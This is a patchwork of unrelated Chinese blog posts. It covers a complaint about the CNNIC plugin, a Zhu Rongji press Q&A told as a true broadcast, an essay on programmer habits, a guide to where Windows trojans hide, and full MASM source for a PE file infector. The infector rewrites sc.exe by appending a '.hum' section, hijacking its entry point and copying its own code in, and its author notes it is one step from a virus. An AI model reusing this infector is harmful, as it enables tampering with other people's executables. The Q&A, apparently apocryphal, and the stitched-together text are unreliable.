   我一般是不会主动去安装什么插件的,前段时间,我在donews里发现一个软件,好象是什么qq聊天机器人的玩意,我就给下载装上了,没想到这小子还带几个伴,其中就有CNNIC中文上网插件,还有什么ebay的,其他的我都一一卸载了,惟独就是CNNIC这个,怎么卸都卸不掉,每次都提示我卸载成功,结果每次都还在,最后实在没办法,找找google看看,没想到搜到的还真不少,看来被强奸的人还真不少。其中有人介绍用3721的上网助手能卸载,一试真还弄好了。然后我把这个3721上网助手卸载掉,打开ie,呵呵,乖乖,3721也在我的浏览器上装了网络实名,呵呵,算了,这次就不跟他计较了,毕竟人家帮了一次忙,索性把3721网络实名也卸掉了,不过还好,轻松搞定。

   现在继续说说CNNIC,cnnic到底是个什么玩意呢?看看cnnic的介绍吧!

    中国互联网络信息中心(China Internet Network Information Center,简称CNNIC)是经国务院主管部门批准,于1997年6月3日组建的管理和服务机构,行使国家互联网络信息中心的职责。

    CNNIC在业务上接受信息产业部领导,在行政上接受中国科学院领导。中国科学院计算机网络信息中心承担CNNIC的运行和管理工作。由国内知名专家、各大互联网络单位代表组成的CNNIC工作委员会,对CNNIC的建设、运行和管理进行监督和评定。

    作为中国信息社会基础设施的建设者和运行者,中国互联网络信息中心(CNNIC)以“为我国互联网络用户提供服务,促进我国互联网络健康、有序发展”为宗旨,负责管理维护中国互联网地址系统,引领中国互联网地址行业发展,权威发布中国互联网统计信息,代表中国参与国际互联网社群。

大家注意到这段话没?“为我国互联网络用户提供服务,促进我国互联网络健康、有序发展”,不知道CNNIC的人说这些话的时候,会不会心虚呢?不知道是为了网络用户提供服务,还是想强奸广大网络用户,不知道是为了促进网络健康发展,还是为了肆意传播病毒,危害网络健康。很早以前.cn域名是面向所有中国公民开放的,后来不知道什么原因,cnnic取消了个人域名的注册权,并且删除了很多个人注册的域名,这和现在大肆的宣扬“玉米虫”完全自相矛盾,不过想想,也不完全是,目的到是很明确——钱!往死里挣钱。哎…

   最后我还发现在一个有意思的事,在百度里输入“3721 CNNIC”出现了很多关于3721和cnnic之间的故事文章,呵呵,同时看看最下面的相关搜索:

相关搜索 cnnic 卸载cnnic cnnic是什么 如何卸载cnnic cnnic cdn 
如何删除cnnic cnnic 报告 cnnic 删除 怎样删除cnnic 更多相关搜索… 
 
   看来cnnic真是过街老鼠,呵呵!  最后我借用一下《天下无贼》中黎叔的话,对那些搞流氓插件的人,尤其要对cnnic说:“我最讨厌你们这些做流氓插件的,一点技术含量都没有!”

这是真实发生的事情,凤凰卫视进行了实况直播(也不知道我们NB烘烘的央视死哪  去了)
:(一个年青的日本女子问) “昨天我家中被贼偷了,有人说是中国人干的,你对这件事怎么看?”

答:南桔北枳:中国有句古话叫做“桔生淮南则为桔,桔生淮北则为枳”。中华民族 是知书达理的民族,人民勤劳、善良,在华夏大地创造出了璀璨的中华文明,贵国 的先民早在唐朝就曾经拜揭过中华帝国,学习过礼仪和文化。但我想在经历了几千 年的洗礼以后,贵国在礼仪上已经遗忘了许多,以至于生长于礼仪之帮的中国人 民,来到贵国就有可能迷失本心。我记得战国时晏子出使楚国,曾经说齐国人可以 在故园安居乐业,而到楚国却成为盗贼,原因仅在于民风问题。因此我建议贵国的 政府应该致力于民众道德礼仪的培养,只有环境好了,才可以杜绝偷盗,才可以从 根本上防止贵国人民忘记礼仪廉耻。
> >
> >
> > (一日本老头问) “我们很多日本人认为南京大屠杀根本没有发生过,你对这件事 怎么看”
> >
答:掩耳盗铃:这个问题其实很简单,首先您的逻辑是错误的。历史是事实,是不 能改变的,不是贵国人民,无论多少认为没有发生就没有发生。历史就是历史,是 已经发生的事情,任何掩耳盗铃的企图都是徒然的。如果我说大多数的中国人都认为日本其实是中华民族的后裔,日本民族起源于我过秦王朝一个方士携三千童男童女东海寻访仙山的事件,我想贵国政府、贵国人民,和您本人也会觉得这是一件非常荒谬的事情。当然我作为中国总理,也觉得这件事情不能接受,因为在心理上我不能容忍中华民族的后裔数典忘祖。
> >
> >
]:(一自称日本渔民的年轻人问)“我来自长崎,我们那的水受到了很大的污染, 这是由与跟中国靠得比较近的缘故,你对这件事怎么看”
> > 答:疑邻偷斧:您来自长崎,我感到非常的遗憾,为了您失去的亲人,为了遇难死 去的长崎居民,为了那些在二战中受到法西斯迫害的民众而哀悼。战争是残酷的, 是军国主义者用来满足贪欲的工具,作为爱好和平的人民一份子,我们都应当加以 警觉。我在国内的时候也听我国的一些渔民反应过,现在东海打鱼越来越少,他们 把原因归为贵国对海水的污染,开始的时候我不知道是何地,今天您的提醒使我明 了――原来是长崎。当时我就对那些渔民说,你们这种想法是错误并且愚蠢的,不仔细的反思自己的行为,而将原因归结为外在的原因,是在推卸责任,是非常卑劣和无耻的。古时我国有个预言故事叫做“疑邻偷浮”,非常有教育意义,我希望您能在闲暇期间仔细通读,如果有所启发,找到了自己内心的斧头,我们再交流看法。
> >
> > ]:(一观众提问)“台湾人民都不想回归中国,为何你们霸权欺压?”
> >
答:居心叵测:这是一个老生常谈的话题,我感觉回答起来很容易。讲一个简单的 例子,从前有个母亲含辛茹苦大半辈子,总算将自己的子女养育成人,她感到很欣慰,感觉可以松口气,歇一歇。于是对子女说!“来,回到母亲怀抱来,给妈妈捶 捶背.“然而这个不肖子,却吃惯了软饭,有奶就是娘,回头就不认这个曾经养育过他而今已经骨瘦如柴的母亲,反而对这星星和太阳大喊妈妈,想喝可乐,想要烧饼。那此时母亲应该如何?回答当然是给他一把掌。所谓国有国法,家有家规,无规矩不成方圆,任何事情都有它的规则和限度,台湾问题就是母亲和儿子之间的争吵,别人无权干涉。我国历来都主张和平解决台湾问题,从来都没有出现过霸权欺压的事情,反而总是有一些居心叵测的邻国,以民主、自由等等名义来强奸包括台湾同胞在内的中华民族的自主选择和决定权,这才叫霸权欺压。
> >
> >
> > 类似的话层出不穷。我想这样的座谈是很刁钻的,安排日本普通民众和朱总理会谈,问很多尖锐的问题来试探中国政府对反 日的决心,以一国的总理的身份当然不便当场和这些人搞僵,否则有失风度.不当场给他们清醒的警钟,日本的反华势力又会嚣张,并由此进一步鼓动或迷惑其他人,他们会说:“你们看,中国总理都不敢当面指责我们日本军人当年的行为,这就充分说明南京大屠杀纯粹是中国政府的 谎言”并且这些民众的来源又很值得怀疑
> >
> > 但是朱总理的回答是很见水平的。他是我们的好总理。在回答“你们中国人何时才会停止反复要求我们日本人就战争问题向中国道歉?”这个问题时朱总理毫不妥 协,说道: “日本从未在正式的文件中向中国人民道歉,而不是我们反复要求日本人道歉。中 国人民是不会忘记历史的,因为忘记历史就意味这背叛。”
> >
> > 整个实况转播都很压抑,总理一个人受到众多充满敌意的提问。一直到一个日本年轻女性提问气氛才有所缓和,这位女士提问“总理最喜欢的歌是什么,能不能给我们演唱?”
> > 总理说:“我最喜欢的是国歌,如果我唱你们都得起立。”
> > 当然没有人起立,总理也没演唱。

   只有懒惰的程序员才会去编写那些可以最终代替自己工作的自动化工具,才不会成天为了实现相似的功能去编写大段大段冗余重复的代码 - 这种代码往往是软件后期维护和重构的天敌。通常来说,由于惰性的驱使所产生出来的工具和程序将最终极大的提高生产开发的速度。

  当然,对于一个程序员来说,光光具备懒惰这个要素还是不够的。在享受懒惰之前,他必须以最大的热情和最高的效率去研究解放自己的途径,比如:找到最有助于开发的工具,最能体现“一次编写,多次复用”精神的代码架构的设计。只有在这些必要的工作之后,才可能真正享受轻松编程的乐趣。

  所以“懒”的精髓用一句老话来描述,那就是磨刀不误砍柴功。如果你不想办法磨亮手中的柴刀,就算一天二十四小时都在砍柴,效果也不如拿把锋利的斧头一天只砍一小时。

  从这个角度来说,Google给员工的20%自由时间是完全发挥了“懒”的能动力。为了更好的享受偷懒的乐趣,员工会更加具有创造力的去高效完成自己的任务。

  夸张一点来说,懒惰才是人类进步的原动力。

   这一点似乎比懒更让人不能接受。在解释这里所说的笨的具体含义之前,我们先看看一个聪明人(或者说认为自己足够聪明)会做什么:

  1) 停止学习新的东西
  2) 不愿意用批判的眼光去审视自己的工作

  第1点将使我们很难去接受或者主动的去研究一项新的技术 - 即使新技术能带给他更多工作上的便利。第2点会使我们无法清晰的分析自身工作的问题所在,要对其进行改进或者重构就更加困难。

  从这两点来考虑,作为一个程序员太自以为是不见得是件好事情。由于对自身的过于自信,往往无法客观的看待自己和自己的工作。相反的,笨一点(确切的说,谦逊一点)有时候倒有助于开发的顺利进行。举例来说,当程序出现bug的时候,最好尽早承认问题是出在自己编写的代码上面而不是在于编译器(当然除非是字节高低位编码方式之类的问题,这种问题编译器会是错误的根源之一)。如果你太自负的认为自己的程序没有问题而去猜测可能是编译器或者其他的什么外部因素出问题的话,那么十有八九你会在调试过程中走上一长段的弯路。

  程序员应该笨一些的更为关键的原因在于,当需要思考问题的最佳解决方案的时候,往往要求我们首先要跳出思维定式。你对系统了解的越多,积累了越多的经验,就越难走出已有的局限,可以尝试的范围就越小。相反的,对于一个什么也不懂的门外汉来说,因为没有任何失败的记忆和潜规则的约束,也就没有什么是“不可能”的,这样的大脑所能迸发出来的在专业人士看起来愚不可及的想法往往正是解决问题所需要的关键点所在。

  可能很多程序员都会有类似的经历,在面对别人(尤其是其他部门)对于一个bug的描述的时候,必须把自己摆在一个普通用户而不是程序开发者的角度来分析问题,否则的话可能你永远都想象不到这种错误也会发生。越能让自己变得“笨”起来,越能很快的定位到问题所在。我们先看看这么一段关于web开发问题的程序员和客服人员的对话:

  “从昨天开始我们的用户就看不到我们站点上的Logo了。”
  “他试过重启浏览器么?”
  “是的。”
  “他试过重启电脑么?”
  “是的。”
  “他清空过浏览器Cache么?”
  “是的。”
  “他的浏览器版本是IE6么?”
  “是的。”
  “他确信是真的看不到Logo了么?”
  “是的。”
  “他是在电脑显示器屏幕上看我们的站点么?”
  “什么?”
  “比如说,它可能是打印出来看不到?”
  “不。他是在显示器上看的。”
  “除了站点Logo之外,他是不是其他的图片都看不到?”
  “什么?哦。我再问问他。”

  从这段对话来说,估计用户实际上是禁止了浏览器显示图片的功能(或者他儿子干的)。不管怎么样,如果你不是用这种傻瓜式的思维方式去寻找答案的话,可能怎么也找不到问题的根源。  很多时候,问题发现者对于问题的描述往往是非常片面的,并且加上了主观推测的成分在里面。如果你不能透过这些主观的描述去发现问题的实际表象,或者说根本就是你自己根据程序员的经验逻辑来判断问题所在的话,十有八九会在歧途上越走越远。

  对于白痴级的问题,只有用白痴的行为方式才能得到答案。

  即便同样是程序员,但对于你的程序并不熟悉,也会经常有这样的疑问:“为什么我调用你的代码出错了?”这种问题的答案,很多时候是因为他们的调用方式不对,或者调用了错误的库文件,或者库文件的版本使用不当,或者根本就没有联接到库文件上。当你想让同事帮你检查一下程序中的一个莫名其妙的bug的时候,一般来说希望他对你的系统了解的越少越好,只有这样他才会问一些你自己认为绝对不可能出问题的“笨”问题。

  所以“笨”的精髓在于你如何去思考问题:不要假设些什么,把自己假设的太完美或者把别人假设的很聪明都会使你忽视一些很浅显的事实。思考的前提必须是完整的事实表象,思考的过程必须是抛弃成见的问题跟踪。在发现事实之前作太多的主观思考和臆断,倒不如把自己当作白痴一样来行动更好。

  当然,不思考的一个极端是不分情况都直接去做,另一个极端是完全脱离事实,用思想办事。一个优秀的程序员应该做好权衡。10次决定里面的1次错误决定不是致命的;只做5次正确的决定而另外5次没有任何决定才更糟糕。

  最后是一个蜈蚣的故事。蜈蚣本来用自己的几百只脚走路走的很快很好,但他从来没有花时间去想过为什么。直到有一天,一只臭虫问他:“你是怎么管理好你的几百只脚的?你不觉得这是件很困难的事情吗?”臭虫问完之后就走了。只剩下蜈蚣坐在地上,不停的思考这个问题,却一直想不出个究竟。从此以后,这只蜈蚣再也没办法好好的走路了。

闲来写了个修改PE的小程序,主要是演示和实践PE操作和重定位的概念,实在没事情的时候,可以看看,你将会看到PE文件实际上很简单!当然,首

先得作好被我的垃圾代码扫了雅兴的准备.这里利用的是我前面介绍的方法的手动查找API的方法.这个东西修改PE并在最后加上一节,节

名'.hum',被附加程序启动前会显示一个MsgBox,以显示一些信息,你可以用来给自己破的软件来一个所谓的版权信息(我最痛恨的就是....这个!

烦),当然也可以执行其他一些操作,实际上,再加上文件搜索功能和破坏例程,这就将是一个最简单的病毒....

  这个例子没有优化,也没有安排好结构,有兴趣的凑合着看吧,另外还有一些冗余,没有兴趣整理了.
  编译要加入/section:.text,RWE选项.默认操作是对同目录下的sc.exe(heh..,my starcraft).
  .记住,PE文件实际上是很简单的,只要你耐心看下去.
注:虽然用了Virus字样,但不是病毒...

.586
.model flat, stdcall
option casemap :none  ; case sensitive
include c:\hd\hd.h
include c:\hd\mac.h

;;--------------

GetApiA        proto    :DWORD,:DWORD

;;--------------
  .CODE
VirusLen        =  vEnd-vBegin                ;Virus 长度
vBegin:
;-----------------------------------------
include s_api.asm                ;查找需要的api地址
;-----------------------------------------

desfile        db "sc.exe",0
fsize          dd ?
hfile          dd ?
hMap            dd ?
pMem            dd ?
;-----------------------------------------
pe_Header      dd ?
sec_align      dd ?
file_align      dd ?
newEip          dd ?
oldEip          dd ?
inc_size        dd ?
oldEnd          dd ?
;-----------------------------------------

sMessageBoxA                            db "MessageBoxA",0

aMessageBoxA                    dd 0

;;临时变量...
sztit                  db "By Hume,2002",0
szMsg0                  db "Hey,Hope U enjoy it!",0
CopyRight              db "The SoftWare WAS OFFERRED by Hume[AfO]",0dh,0ah
                      db "        Thx for using it!",0dh,0ah
                      db "Contact: Humewen@21cn.com",0dh,0ah
                      db "        humeasm.yeah.net",0dh,0ah
                      db "The add Code SiZe:(heX)"
val                    dd 0,0,0,0
;;-----------------------------------------

__Start:
      
      call    _gd
_gd:  
      pop    ebp                            ;得到delta地址
      sub    ebp,offset _gd                        ;因为在其他程序中基址可能不是默认的所以需要重定位
      mov    dword ptr [ebp+appBase],ebp    ;呵呵仔细想想
  mov    eax,[esp]                      ;返回地址
      xor    edx,edx
getK32Base:
      dec    eax                            ;逐字节比较验证
      mov    dx,word  ptr [eax+IMAGE_DOS_HEADER.e_lfanew]  ;就是ecx+3ch
      test    dx,0f000h                      ;Dos Header+stub不可能太大,超过4096byte
      jnz    getK32Base                      ;加速检验
      cmp    eax,dword ptr [eax+edx+IMAGE_NT_HEADERS.OptionalHeader.ImageBase]
      jnz    getK32Base                      ;看Image_Base值是否等于ecx即模块起始值,
      mov    [ebp+k32Base],eax              ;如果是,就认为找到kernel32的Base值
             lea    edi,[ebp+aGetModuleHandle]
      lea    esi,[ebp+lpApiAddrs]
lop_get:
      lodsd
      cmp    eax,0
      jz      End_Get
      add    eax,ebp
      push    eax
      push    dword ptr [ebp+k32Base]
      call    GetApiA                        
      stosd
      jmp    lop_get                          ;获得api地址,参见s_api文件                      
End_Get:
      call    my_infect
      include dislen.asm
      ;-----------------------------------------
CouldNotInfect:

__where:                                        
      xor    eax,eax                ;判断是否是已经附加,标志'dark'
      push    eax
      call    [ebp+aGetModuleHandle]
      mov    esi,eax
      add    esi,[esi+3ch]  ;->esi->程序本身的Pe_header
      cmp    dword ptr [esi+8],'dark'
      je      jmp_oep
      jmp    __xit                  ;退出启动程序
jmp_oep:
      add    eax,[ebp+oldEip]        
      jmp    eax                    ;跳到宿主程序的入口点

my_infect:                              ;感染部分,文件读写操作,Pe文件修改参见modipe.asm文件
      xor    eax,eax
      push    eax
      push    eax
      push    OPEN_EXISTING
      push    eax
      push    eax
      push    GENERIC_READ+GENERIC_WRITE
      lea    eax,[ebp+desfile]
      push    eax
      call    [ebp+aCreateFile]                    ;打开目标文件
      inc    eax
      je      __Err
      dec    eax
      mov    [ebp+hfile],eax  
      push    eax
      sub    ebx,ebx
      push    ebx
      push    eax                    ;得到文件大小
      call    [ebp+aGetFileSize]
      inc    eax
      je      __sclosefile
      dec    eax
      mov    [ebp+fsize],eax
      xchg    eax,ecx
      add    ecx,1000h              ;文件大小增加...4096
      pop    eax                                  
      xor    ebx,ebx                              ;创建映射文件
      push    ebx
      push    ecx            ;文件大小等于原大小+Vsize
      push    ebx            
      push    PAGE_READWRITE
      push    ebx
      push    eax
      call    [ebp+aCreateFileMapping]
      test    eax,eax
      je      __sclosefile
      mov    [ebp+hMap],eax                      ;创建成功否?
      xor    ebx,ebx
      push    ebx
      push    ebx
      push    ebx
      push    FILE_MAP_WRITE    
      push    eax
      call    [ebp+aMapViewOfFile]
      test    eax,eax
      je      __sclosemap                          ; 映射文件,是否成功?
      mov    [ebp+pMem],eax
      ;--------------------------------------------
      ; the following is modifying part,add new section
      ;--------------------------------------------
      include modipe.asm

__sunview:
      push    [ebp+pMem]
      call    [ebp+aUnmapViewOfFile]
__sclosemap:
      push    [ebp+hMap]
      call    [ebp+aCloseHandle]
__sclosefile:
      push    [ebp+hfile]
      call    [ebp+aCloseHandle]
__Err::
      ret
    
;-----------------------------------------
__xit:  

      push    0
      call    [ebp+aExitProcess]
vEnd:  
;-----------------------------------------

END    __Start
;;==============================================
;;s_api.asm
;;手动查找api部分

K32_api_retrieve        proc    Base:DWORD ,sApi:DWORD

      push    edx                    ;保存edx    
      xor    eax,eax                ;此时esi=sApi
Next_Api:                              ;edi=AddressOfNames
      mov    esi,sApi
      xor    edx,edx
      dec    edx
Match_Api_name:
      movzx  ebx,byte  ptr [esi]
      inc    esi
      cmp    ebx,0
      je      foundit
      inc    edx
      push    eax
      mov    eax,[edi+eax*4]        ;AddressOfNames的指针,递增
      add    eax,Base                ;注意是RVA,一定要加Base值
      cmp    bl,byte  ptr [eax+edx]  ;逐字符比较  
      pop    eax
      je      Match_Api_name          ;继续搜寻
      inc    eax                    ;不匹配,下一个api
      loop    Next_Api
no_exist:
      pop    edx                    ;若全部搜完,即未存在
      xor    eax,eax
      ret
                              
foundit:
      pop    edx                    ;edx=AddressOfNameOrdinals
                                ;*2得到AddressOfNameOrdinals的指针
      movzx  eax,word  ptr [edx+eax*2] ;eax返回指向AddressOfFunctions的指针
      ret
K32_api_retrieve        endp
;-----------------------------------------

GetApiA        proc    Base:DWORD,sApi:DWORD
      local    ADDRofFun:DWORD
      pushad
      mov    esi,Base
      mov    eax,esi
      mov    ebx,eax
      mov    ecx,eax
      mov    edx,eax
      mov    edi,eax                            ;all is Base!
      add    ecx,[ecx+3ch]                      ;现在esi=off PE_HEADER                                                       
      add    esi,[ecx+78h]                      ;得到esi=IMAGE_EXPORT_DIRECTORY入口
      add    eax,[esi+1ch]                  ;eax=AddressOfFunctions的地址
      mov    ADDRofFun,eax
      mov    ecx,[esi+18h]                  ;ecx=NumberOfNames
      add    edx,[esi+24h]                  ;edx=AddressOfNameOrdinals
      add    edi,[esi+20h]                  ;esi=AddressOfNames
      invoke    K32_api_retrieve,Base,sApi
      mov    ebx,ADDRofFun
      mov    eax,[ebx+eax*4]                ;要*4才得到偏移

      add    eax,Base                        ;加上Base!
      mov    [esp+7*4],eax                  ;eax返回api地址
      popad
      ret
GetApiA        endp

u32                    db "User32.dll",0
k32                    db "Kernel32.dll",0

appBase        dd ?
k32Base        dd ?
;-----------------------------------------apis needed

lpApiAddrs      label  near
              dd      offset sGetModuleHandle
              dd      offset sGetProcAddress
              dd      offset sLoadLibrary
              dd      offset sCreateFile
              dd      offset sCreateFileMapping
              dd      offset sMapViewOfFile
              dd      offset sUnmapViewOfFile
              dd      offset sCloseHandle
              dd      offset sGetFileSize
              dd      offset sSetEndOfFile
              dd      offset sSetFilePointer

              dd      offset sExitProcess
              
              dd      0,0
              

sGetModuleHandle        db "GetModuleHandleA",0
sGetProcAddress        db "GetProcAddress",0
sLoadLibrary            db "LoadLibraryA",0
sCreateFile            db "CreateFileA",0
sCreateFileMapping      db "CreateFileMappingA",0
sMapViewOfFile          db "MapViewOfFile",0
sUnmapViewOfFile        db "UnmapViewOfFile",0
sCloseHandle            db "CloseHandle",0
sGetFileSize            db "GetFileSize",0
sSetFilePointer        db "SetFilePointer",0
sSetEndOfFile          db "SetEndOfFile",0

sExitProcess            db "ExitProcess",0

 

aGetModuleHandle                dd 0
aGetProcAddress                dd 0
aLoadLibrary                    dd 0
aCreateFile                    dd 0
aCreateFileMapping              dd 0
aMapViewOfFile                  dd 0
aUnmapViewOfFile                dd 0
aCloseHandle                    dd 0
aGetFileSize                    dd 0
aSetFilePointer                dd 0
aSetEndOfFile                  dd 0

aExitProcess                    dd 0
;-----------------------------------------
;;========================modipe.asm=================
      ;修改pe,添加节,实现传染功能

      xchg    eax,esi
      cmp    word  ptr [esi],'ZM'
      jne    CouldNotInfect
      add    esi,[esi+3ch]  ;指向PE_HEADER
      cmp    word  ptr [esi],'EP'
      jne    CouldNotInfect  ;是否是PE,否则不感染
      cmp    dword ptr [esi+8],'dark'
      je      CouldNotInfect
      mov    [ebp+pe_Header],esi  ;保存pe_Header指针

      mov    ecx,[esi+74h]  ;得到directory的数目
      imul    ecx,ecx,8

      lea    eax,[ecx+esi+78h]  ;data directory  eax->节表起始地址
      movzx  ecx,word  ptr [esi+6h]  ;节数目
      imul    ecx,ecx,28h            ;得到所有节表的大小
      add    eax,ecx                ;节结尾...
      xchg    eax,esi                ;eax->Pe_header,esi->最后节开始偏移

;;**************************
;;添加如下结构:
;;name .hum
;;VirtualSize==原size+VirSize
;;VirtualAddress=
;;SizeOfRawData 对齐
;;PointerToRawData
;;PointerToRelocations dd 0
;;PointerToLinenumbers dd ?  
;;NumberOfRelocations dw  ?  
;;NumberOfLinenumbers dw  ?
;;Characteristics      dd ?
;;**************************
      mov    dword ptr [esi],'muh.'  ;节名.hum
      mov    dword ptr [esi+8],VirusLen ;实际大小     
                                      ;计算VirtualSize和V.addr
      mov    ebx,[eax+38h]          ;SectionAlignment
      mov    [ebp+sec_align],ebx
      mov    edi,[eax+3ch]          ;file align
      mov    [ebp+file_align],edi       
      mov    ecx,[esi-40+0ch]        ;上一节的V.addr
      mov    eax,[esi-40+8]          ;上一节的实际大小
      xor    edx,edx
      div    ebx                    ;除以节对齐
      test    edx,edx
      je    @@@1
      inc    eax
@@@1:
      mul    ebx                    ;对齐后的节大小
      add    eax,ecx                ;加上V.addr就是新节的起始V.addr
      mov    [esi+0ch],eax          ;保存新section偏移RVA
      add    eax,__Start-vBegin
      mov    [ebp+newEip],eax        ;计算新的eip
      mov    dword ptr [esi+24h],0E0000020h    ;属性
      mov    eax,VirusLen            ;计算SizeOfRawData的大小
      cdq
      div    edi                    ;节的文件对齐
      je      @@@2
      inc    eax
@@@2:
      mul    edi
      mov    dword ptr [esi+10h],eax ;保存节对齐文件的大小
      mov    eax,[esi-40+14h]
      add    eax,[esi-40+10h]       mov    [esi+14h],eax          ;PointerToRawData更新       mov    [ebp+oldEnd],eax      ;

最后文件增加到...?

      
      mov    eax,[ebp+pe_Header]
      inc    word  ptr [eax+6h]      ;更新节数目
      mov    ebx,[eax+28h]          ;eip指针偏移
      mov    [ebp+oldEip],ebx        ;保存老指针
      mov    ebx,[ebp+newEip]
      mov    [eax+28h],ebx          ;更新指针值

      ;comment $
      mov    ebx,[eax+50h]          ;更新ImageSize
      add    ebx,VirusLen
      mov    ecx,[ebp+sec_align]
      xor    edx,edx
      xchg    eax,ebx        ;eax和ebx交换...
      cdq
      div    ecx
      test    edx,edx
      je      @@@3
      inc    eax
@@@3:
      mul    ecx
      xchg    eax,ebx        ;还原  eax->pe_Header
      mov    [eax+50h],ebx          ;保更新后的Image_Size大小
      ;$
      mov    dword ptr [eax+8],'dark'
      cld                      ;写入
      mov    ecx,VirusLen
      mov    edi,[ebp+oldEnd]
      add    edi,[ebp+pMem]
      lea    esi,[ebp+vBegin]
      rep    movsb                  ;写入文件,all is OK!
      
      xor    eax,eax
      sub    edi,[ebp+pMem]

      push    FILE_BEGIN
      push    eax
      push    edi
      push    [ebp+hfile]
      call    [ebp+aSetFilePointer]

      push    [ebp+hfile]
      call    [ebp+aSetEndOfFile]
;============================disLen.asm
    lea    eax,[ebp+u32]
      push    eax
      call    dword ptr [ebp+aLoadLibrary]
      test    eax,eax
      jnz    @g1      
@g1:
      
      lea    EDX,[EBP+sMessageBoxA]
      push    edx
      push    eax
      mov    eax,dword ptr [ebp+aGetProcAddress]
      call    eax
      mov    [ebp+aMessageBoxA],eax
      

      ;-----------------------------------------
      mov    ebx,VirusLen
      mov    ecx,8
      cld
      lea    edi,[ebp+val]
L1:
      rol    ebx,4
      call    binToAscii
      loop    L1

      push    40h+1000h
      lea    eax,[ebp+sztit]
      push    eax
      lea    eax,[ebp+CopyRight]
      push    eax
      push    0
      call    [ebp+aMessageBoxA]

      jmp    __where
;-----------------------------------------

binToAscii    proc  near
      mov    eax,ebx
      and    eax,0fh
      add    al,30h
      cmp    al,39h
  jbe    @f
      add    al,7
      
  @@:
      stosb
      ret
binToAscii    endp
;----------------------------over-----by hume

木马是一种基于远程控制的病毒程序,该程序具有很强的隐蔽性和危害性,它可以在人不知鬼不觉的状态下控制你或者监视你。有人说,既然木马这么厉害,那我离它远一点不就可以了!

  然而这个木马实在是“淘气”,它可不管你是否欢迎,只要它高兴,它就会想法设法地闯到你“家”中来的!哎呀,那还了得,赶快看看自己的电脑中有没有木马,说不定正在“家”中兴风作浪呢!那我怎么知道木马在哪里呢,相信不熟悉木马的菜鸟们肯定想知道这样的问题。下面就是木马潜伏的诡招,看了以后不要忘记采取绝招来对付这些损招哟!
  
  1、集成到程序中
  
  其实木马也是一个服务器-客户端程序,它为了不让用户能轻易地把它删除,就常常集成到程序里,一旦用户激活木马程序,那么木马文件和某一应用程序捆绑在一起,然后上传到服务端覆盖原文件,这样即使木马被删除了,只要运行捆绑了木马的应用程序,木马又会被安装上去了。绑定到某一应用程序中,如绑定到系统文件,那么每一次Windows启动均会启动木马。
  
  2、隐藏在配置文件中
  
  木马实在是太狡猾,知道菜鸟们平时使用的是图形化界面的操作系统,对于那些已经不太重要的配置文件大多数是不闻不问了,这正好给木马提供了一个藏身之处。而且利用配置文件的特殊作用,木马很容易就能在大家的计算机中运行、发作,从而偷窥或者监视大家。不过,现在这种方式不是很隐蔽,容易被发现,所以在Autoexec.bat和Config.sys中加载木马程序的并不多见,但也不能因此而掉以轻心哦。
  
  3、潜伏在Win.ini中
  
  木马要想达到控制或者监视计算机的目的,必须要运行,然而没有人会傻到自己在自己的计算机中运行这个该死的木马。当然,木马也早有心理准备,知道人类是高智商的动物,不会帮助它工作的,因此它必须找一个既安全又能在系统启动时自动运行的地方,于是潜伏在Win.ini中是木马感觉比较惬意的地方。大家不妨打开Win.ini来看看,在它的[windows]字段中有启动命令“load=”和“run=”,在一般情况下“=”后面是空白的,如果有后跟程序,比方说是这个样子:run=c:\windows\file.exe load=c:\windows\file.exe
  
  这时你就要小心了,这个file.exe很可能是木马哦。
  
  4、伪装在普通文件中
  
  这个方法出现的比较晚,不过现在很流行,对于不熟练的windows操作者,很容易上当。具体方法是把可执行文件伪装成图片或文本----在程序中把图标改成Windows的默认图片图标, 再把文件名改为*.jpg.exe, 由于Win98默认设置是"不显示已知的文件后缀名",文件将会显示为*.jpg, 不注意的人一点这个图标就中木马了(如果你在程序中嵌一张图片就更完美了)。
  
  5、内置到注册表中
  
  上面的方法让木马着实舒服了一阵,既没有人能找到它,又能自动运行,真是快哉!然而好景不长,人类很快就把它的马脚揪了出来,并对它进行了严厉的惩罚!但是它还心有不甘,总结了失败教训后,认为上面的藏身之处很容易找,现在必须躲在不容易被人发现的地方,于是它想到了注册表!

  的确注册表由于比较复杂,木马常常喜欢藏在这里快活,赶快检查一下,有什么程序在其下,睁大眼睛仔细看了,别放过木马哦:HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion下所有以“run”开头的键值;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion下所有以“run”开头的键值;HKEY-USERS\.Default\Software\Microsoft\Windows\CurrentVersion下所有以“run”开头的键值。

    6、在System.ini中藏身
  
  木马真是无处不在呀!什么地方有空子,它就往哪里钻!这不,Windows安装目录下的System.ini也是木马喜欢隐蔽的地方。还是小心点,打开这个文件看看,它与正常文件有什么不同,在该文件的[boot]字段中,是不是有这样的内容,那就是shell=Explorer.exe file.exe,如果确实有这样的内容,那你就不幸了,因为这里的file.exe就是木马服务端程序!另外,在System.ini中的[386Enh]字段,要注意检查在此段内的“driver=路径\程序名”,这里也有可能被木马所利用。

  再有,在System.ini中的[mic]、[drivers]、[drivers32]这三个字段,这些段也是起到加载驱动程序的作用,但也是增添木马程序的好场所,现在你该知道也要注意这里喽。
  
  、隐形于启动组中
  
  有时木马并不在乎自己的行踪,它更注意的是能否自动加载到系统中,因为一旦木马加载到系统中,任你用什么方法你都无法将它赶跑(哎,这木马脸皮也真是太厚),因此按照这个逻辑,启动组也是木马可以藏身的好地方,因为这里的确是自动加载运行的好场所。
  动组对应的文件夹为:C:\windows\start menu\programs\startup,在注册表中的位置:
  HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
  \ShellFolders Startup="C:\windows\start menu\programs\startup"。要注意经常检查启动组哦!
  
  8、隐蔽在Winstart.bat中
  
  按照上面的逻辑理论,凡是利于木马能自动加载的地方,木马都喜欢呆。这不,Winstart.bat也是一个能自动被Windows加载运行的文件,它多数情况下为应用程序及Windows自动生成,在执行了Win.com并加载了多数驱动程序之后开始执行(这一点可通过启动时按F8键再选择逐步跟踪启动过程的启动方式可得知)。由于Autoexec.bat的功能可以由Winstart.bat代替完成,因此木马完全可以像在Autoexec.bat中那样被加载运行,危险由此而来。
  
  9、捆绑在启动文件中
  
  即应用程序的启动配置文件,控制端利用这些文件能启动程序的特点,将制作好的带有木马启动命令的同名文件上传到服务端覆盖这同名文件,这样就可以达到启动木马的目的了。
  
  10、设置在超级连接中
  
  木马的主人在网页上放置恶意代码,引诱用户点击,用户点击的结果不言而喻:开门揖盗!奉劝不要随便点击网页上的链接,除非你了解它,信任它,为它死了也愿意等等。